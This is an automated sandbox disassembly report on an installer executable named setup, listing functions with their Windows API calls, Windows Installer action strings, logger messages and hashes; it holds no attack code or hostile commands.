s$SelfUnregModules$ServiceControl$ServiceInstall$Shortcut$StartServices$StopServices$TypeLib$TypeLib$UnpublishComponents$UnpublishFeatures$UnregisterClassInfo$UnregisterComPlus$UnregisterExtensionInfo$UnregisterFonts$UnregisterMIMEInfo$UnregisterProgIdInfo$WriteEnvironmentStrings$WriteIniValues$WriteRegistryValues$X!$X"$X)$X*$X+$X4$X5$X<$X=$X>$XF$XG$`'$`($`1$`2$`9$`:$`;$`D$`E$h$$h%$h.$h/$h7$h8$hA$hB$p $p!$p"$p+$p,$p3$p4$p5$p=$p>$p?$pF$x($x)$x1$x2$x;$x<$xC$xD$xE$~$$$%$'$($,$-$.$0$1$7$8$:$;$?$@$A$B$C$D
API String ID: 0-2743806192
Opcode ID: 72c7cc3b463acab64f6c655f49d952de8263d78ef4701af80134809f56d03b0a
Instruction ID: d4790d402d262596e705b3f3dd38e3d5355fcfa4a64cd8b60f86120450bd510f
Opcode Fuzzy Hash: 72c7cc3b463acab64f6c655f49d952de8263d78ef4701af80134809f56d03b0a
Instruction Fuzzy Hash: 6273C960E49385ADD700DB759D1A39A7AA15BAB704F10A38CF2813F6E1DFF426C8C791

Function 00BA5C82 Relevance: 308.7, Strings: 246, Instructions: 1248COMMON

Download Yara Rule

Strings

(3, xrefs: 00BA639A
AI_GxInstall, xrefs: 00BA6DE6
8000, xrefs: 00BA633E
Complus, xrefs: 00BA6663
h/, xrefs: 00BA605D
Patch, xrefs: 00BA5C9B
A, xrefs: 00BA702C
1500000, xrefs: 00BA66D6
xC, xrefs: 00BA7172
1500, xrefs: 00BA6D7C, 00BA72E4
100000, xrefs: 00BA6A6A
xD, xrefs: 00BA7246
X5, xrefs: 00BA6573
WriteEnvironmentStrings, xrefs: 00BA62AA
AI_XmlUninstall, xrefs: 00BA724B, 00BA72D1
ODBCDriver, xrefs: 00BA64DF
AI_Game, xrefs: 00BA6FFB
2000, xrefs: 00BA6E71
0:, xrefs: 00BA69AF
Shortcut, xrefs: 00BA5F44
8@, xrefs: 00BA6EC8
H/, xrefs: 00BA6042
H:, xrefs: 00BA69C2
10000, xrefs: 00BA686D, 00BA7464
D, xrefs: 00BA72A6
StartServices, xrefs: 00BA67D4
MsiConfigureServices, xrefs: 00BA674E, 00BA6774
SelfRegModules, xrefs: 00BA65C5
Options, xrefs: 00BA6CC1
AI_ProcessAccounts, xrefs: 00BA7151
h., xrefs: 00BA5F8C
AI_UninstallTasks, xrefs: 00BA6F5D
RegisterTypeLibraries, xrefs: 00BA653F
TypeLib, xrefs: 00BA6560
`;, xrefs: 00BA6AA9
AI_ProcessGroups, xrefs: 00BA70D4
p,, xrefs: 00BA5CDD
2000, xrefs: 00BA6DF4
BindImage, xrefs: 00BA5EA1, 00BA5EC7
PublishComponents, xrefs: 00BA685A
x2, xrefs: 00BA6305
RegisterProgIdInfo, xrefs: 00BA609E
AI_InstallPrerequisite, xrefs: 00BA6BE0
ServiceControl, xrefs: 00BA67FA
DuplicateFile, xrefs: 00BA5DE1
3000, xrefs: 00BA6129
,, xrefs: 00BA5DE6
DuplicateFiles, xrefs: 00BA5D7B
?, xrefs: 00BA6E84
h8, xrefs: 00BA682F
PublishComponent, xrefs: 00BA6880
H0, xrefs: 00BA6116
HB, xrefs: 00BA7078
>, xrefs: 00BA6D0D
6000, xrefs: 00BA61B1
@<, xrefs: 00BA6B68
@=, xrefs: 00BA6C4E
3000000, xrefs: 00BA62B8
AI_PreRequisite, xrefs: 00BA6AFA, 00BA6B80, 00BA6C06, 00BA6C8C
WriteRegistryValues, xrefs: 00BA619E
Registry, xrefs: 00BA61C4
AI_XmlInstall, xrefs: 00BA6CEC, 00BA6D69
C, xrefs: 00BA71C9
3000, xrefs: 00BA6650
(;, xrefs: 00BA6A78
87, xrefs: 00BA6723
B, xrefs: 00BA70F5
PatchSize, xrefs: 00BA5D15
InstallODBC, xrefs: 00BA63AD, 00BA6433, 00BA64B9
1500, xrefs: 00BA6D77
AI_CountRowAction, xrefs: 00BA73D4
H;, xrefs: 00BA6A93
200000, xrefs: 00BA69ED
3000, xrefs: 00BA5FB2
20000, xrefs: 00BA67E2
01, xrefs: 00BA61D2
X4, xrefs: 00BA64A1
-, xrefs: 00BA5E6C
RegisterExtensionInfo, xrefs: 00BA6021
7, xrefs: 00BA66FC
PA, xrefs: 00BA6FAF
x1, xrefs: 00BA621F
AI_DefaultActionCost, xrefs: 00BA7451
20000, xrefs: 00BA67E7
3000, xrefs: 00BA5FB7, 00BA612E, 00BA6552, 00BA6655
ODBCDataSource, xrefs: 00BA63D3
15000, xrefs: 00BA675C
X<, xrefs: 00BA6B7B
`9, xrefs: 00BA6901
00, xrefs: 00BA6103
@3, xrefs: 00BA63A8
Patch, xrefs: 00BA5CA0, 00BA5CAF
p3, xrefs: 00BA63CE
ODBCTranslator, xrefs: 00BA6459
500, xrefs: 00BA706A
Options, xrefs: 00BA6C3B
30000, xrefs: 00BA6237, 00BA68F3
H1, xrefs: 00BA61F9
8A, xrefs: 00BA6F99
3000000, xrefs: 00BA62BD
5000, xrefs: 00BA5EB4
InstallFinalize, xrefs: 00BA6A57
@2, xrefs: 00BA62CB
hA, xrefs: 00BA6FC2
200000, xrefs: 00BA69E8
h7, xrefs: 00BA6749
@, xrefs: 00BA6F58
P., xrefs: 00BA5F79
x;, xrefs: 00BA6ABC
pF, xrefs: 00BA73F5
AI_Game, xrefs: 00BA6E07
0C, xrefs: 00BA7139
12000, xrefs: 00BA63BB
(4, xrefs: 00BA6467
HD, xrefs: 00BA7220
2000, xrefs: 00BA6EEE
15000, xrefs: 00BA5DAE, 00BA6034, 00BA6761, 00BA6970
8-, xrefs: 00BA5E89
?, xrefs: 00BA6DE1
hB, xrefs: 00BA7093
@, xrefs: 00BA6EB5
12000, xrefs: 00BA5F2C
Location, xrefs: 00BA6B34, 00BA6BBA
IniFile, xrefs: 00BA6245
~, xrefs: 00BA6C4A
RegisterFonts, xrefs: 00BA6330
@E, xrefs: 00BA72F2
100, xrefs: 00BA60AC
100, xrefs: 00BA6FE8
12000, xrefs: 00BA6441
IniFile, xrefs: 00BA624A
Extension, xrefs: 00BA6047
AI_XmlElement, xrefs: 00BA6D12, 00BA7271
AI_InstallPostPrerequisite, xrefs: 00BA6C66
8000, xrefs: 00BA65D3
10000, xrefs: 00BA6868
`2, xrefs: 00BA62DE
CreateShortcuts, xrefs: 00BA5F1E
15000, xrefs: 00BA696B
@>, xrefs: 00BA6D28
PublishFeatures, xrefs: 00BA695D
AI_Game, xrefs: 00BA6E0C, 00BA7000
MsiAssembly, xrefs: 00BA6906
7, xrefs: 00BA67BC
x<, xrefs: 00BA6B8E
09, xrefs: 00BA68E0
6, xrefs: 00BA662A
86, xrefs: 00BA663D
RegisterClassInfo, xrefs: 00BA5FA4
AI_XmlAttribute, xrefs: 00BA6D8F, 00BA72F7
1800, xrefs: 00BA7259
2000, xrefs: 00BA715F
8, xrefs: 00BA688E
`1, xrefs: 00BA620C
@4, xrefs: 00BA648E
30000, xrefs: 00BA68EE
WriteIniValues, xrefs: 00BA6224
AI_UserAccounts, xrefs: 00BA6E89, 00BA7177
p?, xrefs: 00BA6E22
3000, xrefs: 00BA654D
MIME, xrefs: 00BA6141
AI_DownloadPrereq, xrefs: 00BA6AD4
Feature_, xrefs: 00BA6058, 00BA6917, 00BA6B0D, 00BA6B93, 00BA6C19, 00BA6CB3
`D, xrefs: 00BA7233
p5, xrefs: 00BA659A
AI_ExtractPrereq, xrefs: 00BA6B5A
0D, xrefs: 00BA720A
1500, xrefs: 00BA72DF
;, xrefs: 00BA6B08
XF, xrefs: 00BA73E2
8., xrefs: 00BA5F52
`E, xrefs: 00BA7305
15000, xrefs: 00BA5DB3, 00BA5DC2
30000, xrefs: 00BA6232
X>, xrefs: 00BA6D3E
12000, xrefs: 00BA64C7
AI_UserGroups, xrefs: 00BA6F06, 00BA70FA
5000, xrefs: 00BA5EAF
ProgId, xrefs: 00BA60BF
Environment, xrefs: 00BA62D0
AI_ChainProductsPseudo, xrefs: 00BA7357
p4, xrefs: 00BA64B4
TypeLib, xrefs: 00BA6565
AI_GxUninstall, xrefs: 00BA6FDA
p>, xrefs: 00BA6D51
`:, xrefs: 00BA69D5
(<, xrefs: 00BA6B55
., xrefs: 00BA5FF6
(F, xrefs: 00BA73BC
-, xrefs: 00BA5F19
1800, xrefs: 00BA6CFF, 00BA725E
AI_ProcessTasks, xrefs: 00BA71CE
15000, xrefs: 00BA602F
HC, xrefs: 00BA714C
8000, xrefs: 00BA6343, 00BA65D8
0, xrefs: 00BA6199
6000, xrefs: 00BA61AC
10000, xrefs: 00BA745F
Feature, xrefs: 00BA697E
P-, xrefs: 00BA5E9C
100, xrefs: 00BA60B1, 00BA6FED
1, xrefs: 00BA627F
2000, xrefs: 00BA71DC
AppId, xrefs: 00BA5FC5
Font, xrefs: 00BA6351
P@, xrefs: 00BA6EDB
AI_AppSearchEx, xrefs: 00BA7057, 00BA707D
MIME, xrefs: 00BA613C
Component_, xrefs: 00BA5E14, 00BA5F57, 00BA61D7, 00BA625D, 00BA62E3, 00BA63E6, 00BA646C, 00BA64F2, 00BA6578, 00BA667B, 00BA6701, 00BA6782, 00BA680D, 00BA6893
XG, xrefs: 00BA74B6
100000, xrefs: 00BA6A65
(G, xrefs: 00BA748D
500, xrefs: 00BA7065
@F, xrefs: 00BA73CF
AppId, xrefs: 00BA5FCA
p=, xrefs: 00BA6C74
InstallServices, xrefs: 00BA66C8
2000, xrefs: 00BA6DF9, 00BA6E76, 00BA6EF3, 00BA6F70, 00BA70E7, 00BA7164, 00BA71E1
ServiceInstall, xrefs: 00BA66EE
SelfReg, xrefs: 00BA65E6
08, xrefs: 00BA67F5
Options, xrefs: 00BA6C40, 00BA6CC6
-, xrefs: 00BA5E56
1500000, xrefs: 00BA66DB
@G, xrefs: 00BA74A3
2000, xrefs: 00BA6F6B
SelfReg, xrefs: 00BA65EB
MsiPublishAssemblies, xrefs: 00BA68DB
12000, xrefs: 00BA5F31, 00BA63C0, 00BA6446, 00BA64CC
AI_UninstallAccounts, xrefs: 00BA6E63
P8, xrefs: 00BA6808
2000, xrefs: 00BA70E2
AI_ScheduledTasks, xrefs: 00BA71F4
xE, xrefs: 00BA732C
Feature, xrefs: 00BA6983
X=, xrefs: 00BA6C61
RegisterMIMEInfo, xrefs: 00BA611B
ProgId, xrefs: 00BA60C4
Complus, xrefs: 00BA6668
:, xrefs: 00BA6A3F
1800, xrefs: 00BA6CFA
P7, xrefs: 00BA6736
RegisterComPlus, xrefs: 00BA6642
AI_UninstallGroups, xrefs: 00BA6EE0
InstallInitialize, xrefs: 00BA69DA
Font, xrefs: 00BA6356

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: -$ -$ 6$ 7$ >$ ?$ @$(3$(4$(;$(<$(F$(G$00$01$08$09$0:$0C$0D$100$100$100$10000$10000$10000$100000$100000$12000$12000$12000$12000$12000$1500$1500$1500$15000$15000$15000$15000$15000$1500000$1500000$1800$1800$1800$2000$2000$2000$2000$2000$2000$2000$2000$20000$20000$200000$200000$3000$3000$3000$3000$3000$30000$30000$30000$3000000$3000000$500$500$5000$5000$6000$6000$8-$8.$8000$8000$8000$86$87$8@$8A$@2$@3$@4$@<$@=$@>$@E$@F$@G$AI_AppSearchEx$AI_ChainProductsPseudo$AI_CountRowAction$AI_DefaultActionCost$AI_DownloadPrereq$AI_ExtractPrereq$AI_Game$AI_Game$AI_Game$AI_GxInstall$AI_GxUninstall$AI_InstallPostPrerequisite$AI_InstallPrerequisite$AI_PreRequisite$AI_ProcessAccounts$AI_ProcessGroups$AI_ProcessTasks$AI_ScheduledTasks$AI_UninstallAccounts$AI_UninstallGroups$AI_UninstallTasks$AI_UserAccounts$AI_UserGroups$AI_XmlAttribute$AI_XmlElement$AI_XmlInstall$AI_XmlUninstall$AppId$AppId$BindImage$Complus$Complus$Component_$CreateShortcuts$DuplicateFile$DuplicateFiles$Environment$Extension$Feature$Feature$Feature_$Font$Font$H/$H0$H1$H:$H;$HB$HC$HD$IniFile$IniFile$InstallFinalize$InstallInitialize$InstallODBC$InstallServices$Location$MIME$MIME$MsiAssembly$MsiConfigureServices$MsiPublishAssemblies$ODBCDataSource$ODBCDriver$ODBCTranslator$Options$Options$Options$P-$P.$P7$P8$P@$PA$Patch$Patch$PatchSize$ProgId$ProgId$PublishComponent$PublishComponents$PublishFeatures$RegisterClassInfo$RegisterComPlus$RegisterExtensionInfo$RegisterFonts$RegisterMIMEInfo$RegisterProgIdInfo$RegisterTypeLibraries$Registry$SelfReg$SelfReg$SelfRegModules$ServiceControl$ServiceInstall$Shortcut$StartServices$TypeLib$TypeLib$WriteEnvironmentStrings$WriteIniValues$WriteRegistryValues$X4$X5$X<$X=$X>$XF$XG$`1$`2$`9$`:$`;$`D$`E$h.$h/$h7$h8$hA$hB$p,$p3$p4$p5$p=$p>$p?$pF$x1$x2$x;$x<$xC$xD$xE$~$,$-$.$0$1$7$8$:$;$?$@$A$B$C$D
API String ID: 0-1632631402
Opcode ID: ad9b375fac30aec156e19b1d894d5726f842ccc441caba2287998552953bc2ac
Instruction ID: a360e1f05d9f165dda126b9dc7d1849c53310afd3e20a4daed96bac3dd34e708
Opcode Fuzzy Hash: ad9b375fac30aec156e19b1d894d5726f842ccc441caba2287998552953bc2ac
Instruction Fuzzy Hash: 90C26350E49384A9CB05A7B84D1B79D5DA14BE7710F14A2ECB2D13F7E2CEB02F4593A2

Function 00D00370 Relevance: 44.3, APIs: 16, Strings: 9, Instructions: 517fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00EA16D0,C0000000,00000003,00000000,00000004,00000080,00000000,02141699,00EA16AC,00EA16C4), ref: 00D003F0
GetLastError.KERNEL32 ref: 00D0040D
OutputDebugStringW.KERNEL32(00000000), ref: 00D00486
OutputDebugStringW.KERNEL32(00000000), ref: 00D0058A
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00D005FB
WriteFile.KERNEL32(00000000,008651D8,00000026,00000000,00000000), ref: 00D0062B
WriteFile.KERNEL32(00000000,000000B7,?,00000000,00000000,00E1A104,00000002), ref: 00D006D6
FlushFileBuffers.KERNEL32(00000000), ref: 00D006DF
FlushFileBuffers.KERNEL32(00000000), ref: 00D00630

Part of subcall function 00BAA2A0: FindResourceW.KERNEL32(00000000,?,00000006,?,?,*.*,8007000E,80004005,00BC2B04,00000000,?,?,?,*.*,?,80070057), ref: 00BAA2C3

OutputDebugStringW.KERNEL32(00000000), ref: 00D007D3
WriteFile.KERNEL32(00000000,00000000,00000002,?,00000000), ref: 00D00859
FlushFileBuffers.KERNEL32(00000000), ref: 00D00864
WriteFile.KERNEL32(00000000,000000FF,?,00000000,00000000,00E1A104,00000002,?,?,CPU: ,00000005), ref: 00D008D8
FlushFileBuffers.KERNEL32(00000000), ref: 00D008E1
WriteFile.KERNEL32(00000000,000000B7,?,00000000,00000000,00E1A104,00000002), ref: 00D00966
FlushFileBuffers.KERNEL32(00000000), ref: 00D0096F

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

Strings

OS Version: %u.%u.%u SP%u (%s) [%s], xrefs: 00D006A6
x64, xrefs: 00D00670, 00D0067C
server, xrefs: 00D00682, 00D0068A
x86, xrefs: 00D00667
CPU: , xrefs: 00D00727, 00D0073D, 00D0086D
workstation, xrefs: 00D0067D
LOGGER->failed to create LOG at:, xrefs: 00D00441, 00D00453, 00D0045D
LOGGER->Reusing LOG file at:, xrefs: 00D00532, 00D00544, 00D0054E
LOGGER->Creating LOG file at:, xrefs: 00D0077B, 00D0078D, 00D00797

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: File$BuffersFlushWrite$DebugOutputString$Init_thread_footer$CreateErrorFindHeapLastPointerProcessResource
String ID: CPU: $LOGGER->Creating LOG file at:$LOGGER->Reusing LOG file at:$LOGGER->failed to create LOG at:$OS Version: %u.%u.%u SP%u (%s) [%s]$server$workstation$x64$x86
API String ID: 4051163352-1312762833
Opcode ID: 42588b642cf699d2cbfaa43d4353b512488b1c2c3232232174de0d326c46651f
Instruction ID: fa42237d6b1117831401cd8b4391a30c71d3d6ae5b3b3f74dd56ff20cb75e9d3
Opcode Fuzzy Hash: 42588b642cf699d2cbfaa43d4353b512488b1c2c3232232174de0d326c46651f
Instruction Fuzzy Hash: D6127E70A01205EFEB10DF68CC49BAEBBB4EF45314F188298E815AB2D2DB75DD44CB61

Function 00BDCBB0 Relevance: 37.8, APIs: 13, Strings: 8, Instructions: 1086stringthreadsleepCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,msix,00000004,?,?,?,?,?, ?(-|/)+q,00E1BD76), ref: 00BDCFA1
lstrcmpiW.KERNEL32(?,?,msixbundle,0000000A,msix,00000004,?,?,?,?,?, ?(-|/)+q,00E1BD76), ref: 00BDD131
GetCurrentThreadId.KERNEL32 ref: 00BDD321
Sleep.KERNEL32(000007D0,?,?,?,?,?,?,?,?,?,?, ?(-|/)+q,00E1BD76), ref: 00BDD6C1
std::_Throw_Cpp_error.LIBCPMT ref: 00BDD744
std::_Throw_Cpp_error.LIBCPMT ref: 00BDD74B
std::_Throw_Cpp_error.LIBCPMT ref: 00BDD752
std::_Throw_Cpp_error.LIBCPMT ref: 00BDD768
GetCurrentThreadId.KERNEL32 ref: 00BDD95E

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

std::_Throw_Cpp_error.LIBCPMT ref: 00BDDA6F
std::_Throw_Cpp_error.LIBCPMT ref: 00BDDA76
std::_Throw_Cpp_error.LIBCPMT ref: 00BDDA7D
std::_Throw_Cpp_error.LIBCPMT ref: 00BDDA84

Part of subcall function 00BC2290: FindClose.KERNEL32(00000000,?,?,?), ref: 00BC23CF
Part of subcall function 00BC2290: PathIsUNCW.SHLWAPI(?,*.*,00000000), ref: 00BC2487

Part of subcall function 00CCEF90: FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,02141699,?,00000000), ref: 00CCEFDB
Part of subcall function 00CCEF90: GetLastError.KERNEL32(?,00000000), ref: 00CCEFE5

Strings

Return code of launched file:, xrefs: 00BDD636
Launch failed. Error:, xrefs: 00BDD55C
?(-|/)+q, xrefs: 00BDCD06
msix, xrefs: 00BDCE61
Launching file:, xrefs: 00BDCC4A
appx, xrefs: 00BDD14C
msixbundle, xrefs: 00BDCFC0
(, xrefs: 00BDD688

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentInit_thread_footerThreadlstrcmpi$CloseErrorFindFormatHeapLastMessagePathProcessSleep
String ID: ?(-|/)+q$($Launch failed. Error:$Launching file:$Return code of launched file:$appx$msix$msixbundle
API String ID: 2370152566-3482523422
Opcode ID: 78d299a8dc52f23c2ab10df60e44a15328a082a7b2f2deb6fa27874e536c57b2
Instruction ID: 9d60eb3735c31b945a7c4a545f3dc945f78f0d3dd54dabda891f362b93ecdf8f
Opcode Fuzzy Hash: 78d299a8dc52f23c2ab10df60e44a15328a082a7b2f2deb6fa27874e536c57b2
Instruction Fuzzy Hash: B5A2BE70D002198FDB24DF68CC45BADFBB1EF45314F1482DAE459AB291EB70AE85CB91

Function 00BCCE41 Relevance: 26.1, APIs: 3, Strings: 11, Instructions: 1626COMMON

Download Yara Rule

APIs

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

Part of subcall function 00BAA2A0: FindResourceW.KERNEL32(00000000,?,00000006,?,?,*.*,8007000E,80004005,00BC2B04,00000000,?,?,?,*.*,?,80070057), ref: 00BAA2C3

SysFreeString.OLEAUT32(00000000), ref: 00BCD479
SysFreeString.OLEAUT32(00000000), ref: 00BCD897
SysFreeString.OLEAUT32(00000000), ref: 00BCDA2C

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Strings

MsiGetBinaryPath, xrefs: 00BCDDC6
GetFontHeight, xrefs: 00BCE240
MsiResolveFormatted, xrefs: 00BCDD07
MsiEvaluateCondition, xrefs: 00BCDC48
MsiGetBytesCountText, xrefs: 00BCE0C2
MessageBox, xrefs: 00BCE003
MsiSetProperty, xrefs: 00BCDAD0
MsiGetBinaryPathIndirect, xrefs: 00BCDE85
MsiGetFormattedError, xrefs: 00BCE181
MsiPublishEvents, xrefs: 00BCDF44
MsiGetProperty, xrefs: 00BCDB89

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: FreeString$HeapInit_thread_footer$AllocateFindProcessResource
String ID: GetFontHeight$MessageBox$MsiEvaluateCondition$MsiGetBinaryPath$MsiGetBinaryPathIndirect$MsiGetBytesCountText$MsiGetFormattedError$MsiGetProperty$MsiPublishEvents$MsiResolveFormatted$MsiSetProperty
API String ID: 2507001652-3153392536
Opcode ID: 1766b4db2b72a0701fe25efef3a93c32bb673ce6a754695cae289238e50350c0
Instruction ID: e6e348a7aaee7c546158f9ba4b6c0222b38e54bc98504a6d4dbe16c4cf42d6c0
Opcode Fuzzy Hash: 1766b4db2b72a0701fe25efef3a93c32bb673ce6a754695cae289238e50350c0
Instruction Fuzzy Hash: 28E2A175D00248DFDB14DFA8C884B9EBBF4FF49314F2482ADE415A7291EB74AA85CB50

Function 00BC0500 Relevance: 26.1, APIs: 17, Instructions: 611COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00BC0538
GetWindowLongW.USER32(?,000000EB), ref: 00BC05B3
ShowWindow.USER32(00000000,?), ref: 00BC05D2
SetWindowLongW.USER32(?,000000EB,00000000), ref: 00BC05E0
GetWindowRect.USER32(00000000,?), ref: 00BC05F7
ShowWindow.USER32(00000000,?), ref: 00BC0618
SetWindowLongW.USER32(?,000000EB,?), ref: 00BC062F

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

GetClientRect.USER32(?,?), ref: 00BC06E8
ShowWindow.USER32(?,?), ref: 00BC076D
GetWindowLongW.USER32(?,000000EB), ref: 00BC079C
ShowWindow.USER32(?,?), ref: 00BC07B9
GetWindowRect.USER32(?,?), ref: 00BC07DE

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$LongRectShow$Client$AllocateHeap
String ID:
API String ID: 2610838350-0
Opcode ID: 6d998cdb57e901e9c6f440cca6303c801657dc6ca063dd5dab495c79892ce3af
Instruction ID: 596847fe0ff5eb3050fc85c7d189de3a78c9377e40360cef7f671bf633d0f6ce
Opcode Fuzzy Hash: 6d998cdb57e901e9c6f440cca6303c801657dc6ca063dd5dab495c79892ce3af
Instruction Fuzzy Hash: 41422671A14208DFCB14DFA9D884AAEBBF5FF88304F10856EE859EB261D730A945CF51

Function 00BB6670 Relevance: 24.4, APIs: 16, Instructions: 389nativememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB6B00: EnterCriticalSection.KERNEL32(00EA699C,02141699,00000000,?,?,?,?,?,?,00BB632E,00DAB45D,000000FF), ref: 00BB6B3D
Part of subcall function 00BB6B00: LoadCursorW.USER32(00000000,00007F00), ref: 00BB6BB8
Part of subcall function 00BB6B00: LoadCursorW.USER32(00000000,00007F00), ref: 00BB6C5E

SysFreeString.OLEAUT32(00000000), ref: 00BB6713
GetWindowLongW.USER32(?,000000EC), ref: 00BB681B
GetWindowLongW.USER32(?,000000EC), ref: 00BB682B
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00BB6836
NtdllDefWindowProc_W.NTDLL(?,?,00000001,?), ref: 00BB6844
GetWindowLongW.USER32(?,000000EB), ref: 00BB6852
GetWindowTextLengthW.USER32(?), ref: 00BB6876
GetWindowTextW.USER32(?,00000000,00000001), ref: 00BB68E5
SetWindowTextW.USER32(?,00E172AC), ref: 00BB68F1
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00BB6926
GlobalLock.KERNEL32(00000000), ref: 00BB6934
GlobalUnlock.KERNEL32(?), ref: 00BB6988
SetWindowLongW.USER32(?,000000EB,00000000), ref: 00BB6A13
SysFreeString.OLEAUT32(00000000), ref: 00BB6A2C
NtdllDefWindowProc_W.NTDLL(?,?,?,00000000), ref: 00BB6A73
SysFreeString.OLEAUT32(00000000), ref: 00BB6A92

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
